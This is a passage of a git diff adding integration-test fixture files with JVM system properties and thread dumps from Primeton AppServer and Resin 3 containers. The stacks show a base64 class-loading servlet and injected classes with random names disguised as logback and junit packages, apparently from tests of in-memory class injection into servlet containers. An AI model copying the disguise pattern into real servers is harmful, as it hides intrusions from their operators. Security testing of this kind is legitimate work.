java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at com.primeton.appserver.common.util.logging.LoggingOutputStream.log(LoggingOutputStream.java:119) + at com.primeton.appserver.common.util.logging.LoggingOutputStream$1.run(LoggingOutputStream.java:98) + +"FelixResolver-3" #28 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@234a2bd6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.LinkedBlockingQueue.poll(LinkedBlockingQueue.java:467) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + +"pool-29-thread-1" #149 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@6e7f4fbc + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:748) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +ch.qos.logback.OGYSp.ErrorHandler +com.mysql.jdbc.AbandonedConnectionCleanupThread +com.primeton.appserver.common.util.logging.LoggingOutputStream +com.primeton.appserver.common.util.logging.LoggingOutputStream$1 +com.primeton.appserver.enterprise.server.logging.AbstractGFFileHandler +com.primeton.appserver.enterprise.server.logging.AbstractGFFileHandler$3 +com.primeton.appserver.enterprise.v3.server.AppServerStartup$1 +com.primeton.appserver.enterprise.v3.services.impl.ContainerMapper +com.primeton.appserver.enterprise.v3.services.impl.ContainerMapper$HttpHandlerCallable +org.apache.catalina.connector.CoyoteAdapter +org.apache.catalina.connector.CoyoteWriter +org.apache.catalina.core.ApplicationFilterChain +org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor +org.apache.catalina.core.StandardContextValve +org.apache.catalina.core.StandardHostValve +org.apache.catalina.core.StandardPipeline +org.apache.catalina.core.StandardWrapper +org.apache.catalina.core.StandardWrapperValve +org.apache.felix.cm.impl.UpdateThread +org.apache.felix.fileinstall.internal.DirectoryWatcher +org.apache.felix.framework.EventDispatcher +org.apache.felix.framework.EventDispatcher$1 +org.apache.felix.framework.FrameworkStartLevelImpl +org.apache.felix.framework.FrameworkWiringImpl +org.apache.felix.scr.impl.ComponentActorThread +org.glassfish.grizzly.ProcessorExecutor +org.glassfish.grizzly.filterchain.DefaultFilterChain +org.glassfish.grizzly.filterchain.ExecutorResolver$9 +org.glassfish.grizzly.http.server.HttpHandler +org.glassfish.grizzly.http.server.HttpServerFilter +org.glassfish.grizzly.nio.DefaultSelectorHandler +org.glassfish.grizzly.nio.SelectorRunner +org.glassfish.grizzly.nio.transport.TCPNIOTransport +org.glassfish.grizzly.strategies.AbstractIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy +org.glassfish.grizzly.strategies.WorkerThreadIOStrategy$WorkerThreadRunnable +org.glassfish.grizzly.threadpool.AbstractThreadPool$Worker +org.glassfish.grizzly.threadpool.FixedThreadPool$BasicWorker +org.glassfish.grizzly.threadpool.SyncThreadPool$SyncThreadWorker +org.glassfish.grizzly.utils.DelayedExecutor$DelayedRunnable +org.jvnet.hk2.config.Transactions$Notifier$1 diff --git a/integration-test/src/test/resources/infos/Resin3116ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Resin3116ContainerTestBasicInfo.txt new file mode 100644 index 00000000..25203ab9 --- /dev/null +++ b/integration-test/src/test/resources/infos/Resin3116ContainerTestBasicInfo.txt @@ -0,0 +1,413 @@ +# Generated At 2025-08-10 14:59:54 +SystemProps: +java.runtime.name: OpenJDK Runtime Environment +sun.boot.library.path: /usr/local/openjdk-8/jre/lib/aarch64 +java.vm.version: 25.342-b07 +javax.management.builder.initial: com.caucho.jmx.MBeanServerBuilderImpl +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.rmi.server.randomIDs: true +java.vm.name: OpenJDK 64-Bit Server VM +file.encoding.pkg: sun.io +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /usr/local/resin3/conf +java.runtime.version: 1.8.0_342-b07 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/local/openjdk-8/jre/lib/endorsed +os.arch: aarch64 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.util.logging.manager: com.caucho.log.LogManagerImpl +java.naming.factory.url.pkgs: com.caucho.naming +os.name: Linux +resin.home: /usr/local/resin3/ +sun.jnu.encoding: UTF-8 +java.system.class.loader: com.caucho.loader.SystemClassLoader +java.library.path: /usr/local/resin3/libexec64:/usr/java/packages/lib/aarch64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 52.0 +mail.smtp.port: 25 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +user.timezone: Etc/UTC +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.8 +java.class.path: /usr/local/resin3/bin/../lib/resin.jar:/usr/local/openjdk-8/lib/tools.jar:/usr/local/resin3/lib/resin.jar:/usr/local/resin3/lib/jaxrpc-15.jar:/usr/local/resin3/lib/activation.jar:/usr/local/resin3/lib/ejb-15.jar:/usr/local/resin3/lib/hessian.jar:/usr/local/resin3/lib/j2ee-management-10.jar:/usr/local/resin3/lib/javamail-141.jar:/usr/local/resin3/lib/jaxws-api.jar:/usr/local/resin3/lib/jca-15.jar:/usr/local/resin3/lib/jms-11.jar:/usr/local/resin3/lib/jpa-15.jar:/usr/local/resin3/lib/jsdk-15.jar:/usr/local/resin3/lib/jsf-12.jar:/usr/local/resin3/lib/jsr88.jar:/usr/local/resin3/lib/jstl-11.jar:/usr/local/resin3/lib/jta-101.jar:/usr/local/resin3/lib/jws-15.jar:/usr/local/resin3/lib/portlet-10.jar:/usr/local/resin3/lib/quercus.jar:/usr/local/resin3/lib/resin-deploy.jar:/usr/local/resin3/lib/resin-util.jar:/usr/local/resin3/lib/saaj.jar:/usr/local/resin3/lib/script-10.jar:/usr/local/resin3/lib/webbeans-16.jar:/usr/local/resin3/lib/webutil.jar +user.name: root +java.naming.factory.initial: com.caucho.naming.InitialContextFactoryImpl +com.sun.management.jmxremote: +java.vm.specification.version: 1.8 +sun.java.command: com.caucho.server.resin.Resin --root-directory /usr/local/resin3/ -conf /usr/local/resin3/conf/resin.conf -socketwait 34669 +java.home: /usr/local/openjdk-8/jre +sun.arch.data.model: 64 +user.language: en +java.specification.vendor: Oracle Corporation +awt.toolkit: sun.awt.X11.XToolkit +java.vm.info: mixed mode +java.version: 1.8.0_342 +java.ext.dirs: /usr/local/openjdk-8/jre/lib/ext:/usr/java/packages/lib/ext +sun.boot.class.path: /usr/local/openjdk-8/jre/lib/resources.jar:/usr/local/openjdk-8/jre/lib/rt.jar:/usr/local/openjdk-8/jre/lib/sunrsasign.jar:/usr/local/openjdk-8/jre/lib/jsse.jar:/usr/local/openjdk-8/jre/lib/jce.jar:/usr/local/openjdk-8/jre/lib/charsets.jar:/usr/local/openjdk-8/jre/lib/jfr.jar:/usr/local/openjdk-8/jre/classes +java.awt.headless: true +java.vendor: Oracle Corporation +file.separator: / +java.vendor.url.bug: http://bugreport.sun.com/bugreport/ +mail.smtp.host: 127.0.0.1 +sun.io.unicode.encoding: UnicodeLittle +sun.cpu.endian: little +sun.cpu.isalist: + +=========================================== + +ThreadStacks: +"http--8080-11$792323448" #23 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1182) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"hmux-127.0.0.1:6800-9$270113755" #31 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1182) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@57f8dde1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"hmux-127.0.0.1:6800-5$1054028374" #20 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1182) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"resin-alarm" #14 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.caucho.util.Alarm$AlarmThread.run(Alarm.java:599) + +"http--8080-14$1389750751" #38 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1182) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"resin-destroy" #29 daemon [WAITING] on com.caucho.server.resin.Resin$DestroyThread@17cf8303 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.caucho.server.resin.Resin$DestroyThread.run(Resin.java:1779) + +"http--8080-3$912058259" #25 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at com.caucho.vfs.SocketStream.read(SocketStream.java:175) + at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018) + at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"http--8080-12$1710487331" #34 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.lang.Thread.dumpThreads(Native Method) + at java.lang.Thread.getAllStackTraces(Thread.java:1615) + at org.junit.otVzv.ErrorHandler.toString(BasicInfoPrinter.java:26) + at com.caucho.vfs.AbstractPrintWriter.print(AbstractPrintWriter.java:221) + at Base64ClassLoaderServlet.service(Base64ClassLoaderServlet.java:26) + at com.caucho.server.dispatch.ServletFilterChain.doFilter(ServletFilterChain.java:103) + at EmptyFilter.doFilter(EmptyFilter.java:21) + at com.caucho.server.dispatch.FilterFilterChain.doFilter(FilterFilterChain.java:87) + at com.caucho.server.webapp.WebAppFilterChain.doFilter(WebAppFilterChain.java:187) + at com.caucho.server.dispatch.ServletInvocation.service(ServletInvocation.java:265) + at com.caucho.server.http.HttpRequest.handleRequest(HttpRequest.java:273) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:682) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@25a9371 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:216) + +"http--8080-10$1352722481" #36 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at com.caucho.vfs.SocketStream.read(SocketStream.java:175) + at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018) + at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"resin-port-8080" #28 daemon [TIMED_WAITING] on com.caucho.server.port.Port@33b742c1 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.server.port.Port.run(Port.java:1526) + at java.lang.Thread.run(Thread.java:750) + +"resin-0" #15 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@4e68ce16 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"http--8080-4$1925258971" #24 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at com.caucho.vfs.SocketStream.read(SocketStream.java:175) + at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018) + at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"http--8080-2$708538022" #30 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at com.caucho.vfs.SocketStream.read(SocketStream.java:175) + at com.caucho.vfs.ReadStream.readBuffer(ReadStream.java:1018) + at com.caucho.vfs.ReadStream.waitForRead(ReadStream.java:337) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:678) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"hmux-127.0.0.1:6800-7$385288296" #18 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1182) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"resin-7" #22 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@5f6e15ef + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"resin-2" #17 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@9f9d468 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"resin-block-manager-writer" #26 daemon [WAITING] on java.util.ArrayList@512edc + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at com.caucho.db.store.BlockManager$BlockManagerWriter.run(BlockManager.java:354) + at java.lang.Thread.run(Thread.java:750) + +"resin-1" #16 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@8c158be + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"main" #1 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.SocketInputStream.socketRead0(Native Method) + at java.net.SocketInputStream.socketRead(SocketInputStream.java:116) + at java.net.SocketInputStream.read(SocketInputStream.java:171) + at java.net.SocketInputStream.read(SocketInputStream.java:141) + at java.net.SocketInputStream.read(SocketInputStream.java:224) + at com.caucho.server.resin.Resin.waitForExit(Resin.java:1270) + at com.caucho.server.resin.Resin.main(Resin.java:1372) + +"http--8080-13$1910701450" #35 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1182) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"RMI TCP Accept-0" #11 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at sun.management.jmxremote.LocalRMIServerSocketFactory$1.accept(LocalRMIServerSocketFactory.java:52) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.executeAcceptLoop(TCPTransport.java:405) + at sun.rmi.transport.tcp.TCPTransport$AcceptLoop.run(TCPTransport.java:377) + at java.lang.Thread.run(Thread.java:750) + +"resin-port-6800" #27 daemon [TIMED_WAITING] on com.caucho.server.cluster.ClusterPort@27aff524 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.server.port.Port.run(Port.java:1526) + at java.lang.Thread.run(Thread.java:750) + +"resin-thread-launcher" #12 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$ThreadLauncher@60b22f2d + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$ThreadLauncher.startConnection(ThreadPool.java:858) + at com.caucho.util.ThreadPool$ThreadLauncher.run(ThreadPool.java:881) + at java.lang.Thread.run(Thread.java:750) + +"resin-thread-scheduler" #13 daemon [TIMED_WAITING] on java.util.ArrayList@699cda29 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$ScheduleThread.run(ThreadPool.java:925) + at java.lang.Thread.run(Thread.java:750) + +"http--8080-1$1209030638" #33 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1182) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"hmux-127.0.0.1:6800-8$1168961042" #32 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1182) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"resin-18" #37 daemon [TIMED_WAITING] on com.caucho.util.ThreadPool$Item@6b9a6b0c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:727) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"hmux-127.0.0.1:6800-0$596442995" #21 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1182) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + +"http--8080-6$670917762" #19 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at java.net.PlainSocketImpl.socketAccept(Native Method) + at java.net.AbstractPlainSocketImpl.accept(AbstractPlainSocketImpl.java:409) + at java.net.ServerSocket.implAccept(ServerSocket.java:560) + at java.net.ServerSocket.accept(ServerSocket.java:528) + at com.caucho.vfs.QServerSocketWrapper.accept(QServerSocketWrapper.java:91) + at com.caucho.server.port.Port.accept(Port.java:1182) + at com.caucho.server.port.TcpConnection.run(TcpConnection.java:659) + at com.caucho.util.ThreadPool$Item.runTasks(ThreadPool.java:743) + at com.caucho.util.ThreadPool$Item.run(ThreadPool.java:662) + at java.lang.Thread.run(Thread.java:750) + + +=========================================== + +StackClassNames: +Base64ClassLoaderServlet +EmptyFilter +com.caucho.db.store.BlockManager$BlockManagerWriter +com.caucho.server.dispatch.FilterFilterChain +com.caucho.server.dispatch.ServletFilterChain +com.caucho.server.dispatch.ServletInvocation +com.caucho.server.http.HttpRequest +com.caucho.server.port.Port +com.caucho.server.port.TcpConnection +com.caucho.server.resin.Resin +com.caucho.server.resin.Resin$DestroyThread +com.caucho.server.webapp.WebAppFilterChain +com.caucho.util.Alarm$AlarmThread +com.caucho.util.ThreadPool$Item +com.caucho.util.ThreadPool$ScheduleThread +com.caucho.util.ThreadPool$ThreadLauncher +com.caucho.vfs.AbstractPrintWriter +com.caucho.vfs.QServerSocketWrapper +com.caucho.vfs.ReadStream +com.caucho.vfs.SocketStream +org.junit.otVzv.ErrorHandler diff --git a/integration-test/src/test/resources/infos/Resin318ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Resin318ContainerTestBasicInfo.txt new file mode 100644 index 00000000..b72715a0 --- /dev/null +++ b/integration-test/src/test/resources/infos/Resin318ContainerTestBasicInfo.txt @@ -0,0 +1,408 @@ +# Generated At 2025-08-10 14:59:58 +SystemProps: +java.runtime.name: Java(TM) SE Runtime Environment +sun.boot.library.path: /usr/java/jdk-7/jre/lib/amd64 +java.vm.version: 23.7-b01 +javax.management.builder.initial: com.caucho.jmx.MBeanServerBuilderImpl +java.vm.vendor: Oracle Corporation +java.vendor.url: http://java.oracle.com/ +path.separator: : +java.rmi.server.randomIDs: true +java.vm.name: Java HotSpot(TM) 64-Bit Server VM +file.encoding.pkg: sun.io +user.country: US +sun.java.launcher: SUN_STANDARD +sun.os.patch.level: unknown +java.vm.specification.name: Java Virtual Machine Specification +user.dir: /usr/local/resin3/conf +java.runtime.version: 1.7.0_17-b02 +java.awt.graphicsenv: sun.awt.X11GraphicsEnvironment +java.endorsed.dirs: /usr/java/jdk-7/jre/lib/endorsed +os.arch: amd64 +java.io.tmpdir: /tmp +line.separator: + +java.vm.specification.vendor: Oracle Corporation +java.util.logging.manager: com.caucho.log.LogManagerImpl +java.naming.factory.url.pkgs: com.caucho.naming +os.name: Linux +resin.home: /usr/local/resin3/ +sun.jnu.encoding: UTF-8 +java.system.class.loader: com.caucho.loader.SystemClassLoader +java.library.path: /usr/local/resin3/libexec64:/usr/java/packages/lib/amd64:/usr/lib64:/lib64:/lib:/usr/lib +java.specification.name: Java Platform API Specification +java.class.version: 51.0 +mail.smtp.port: 25 +sun.management.compiler: HotSpot 64-Bit Tiered Compilers +os.version: 6.14.10-orbstack-00291-g1b252bd3edea +user.home: /root +user.timezone: Etc/UCT +java.awt.printerjob: sun.print.PSPrinterJob +file.encoding: UTF-8 +java.specification.version: 1.7 +java.class.path: /usr/local/resin3/bin/../lib/resin.jar:/usr/java/jdk-7/lib/tools.jar:/usr/local/resin3/lib/pro.jar:/usr/local/resin3/lib/resin.jar:/usr/local/resin3/lib/jaxrpc-15.jar:/usr/local/resin3/lib/activation.jar:/usr/local/resin3/lib/ejb-15.jar:/usr/local/resin3/lib/hessian.jar:/usr/local/resin3/lib/j2ee-management-10.jar:/usr/local/resin3/lib/javamail-141.jar:/usr/local/resin3/lib/jaxws-api.jar:/usr/local/resin3/lib/jca-15.jar:/usr/local/resin3/lib/jms-11.jar:/usr/local/resin3/lib/jpa-15.jar:/usr/local/resin3/lib/jsdk-15.jar:/usr/local/resin3/lib/jsf-12.jar:/usr/local/resin3/lib/jsr88.jar:/usr/local/resin3/lib/jstl-11.jar:/usr/local/resin3/lib/jta-101.jar:/usr/local/resin3/lib/jws-15.jar:/usr/local/resin3/lib/license.jar:/usr/local/resin3/lib/portlet-10.jar:/usr/local/resin3/lib/quercus.jar:/usr/local/resin3/lib/resin-deploy.jar:/usr/local/resin3/lib/resin-util.jar:/usr/local/resin3/lib/saaj.jar:/usr/local/resin3/lib/script-10.jar:/usr/local/resin3/lib/webbeans-16.jar:/usr/local/resin3/lib/webutil.jar +user.name: root 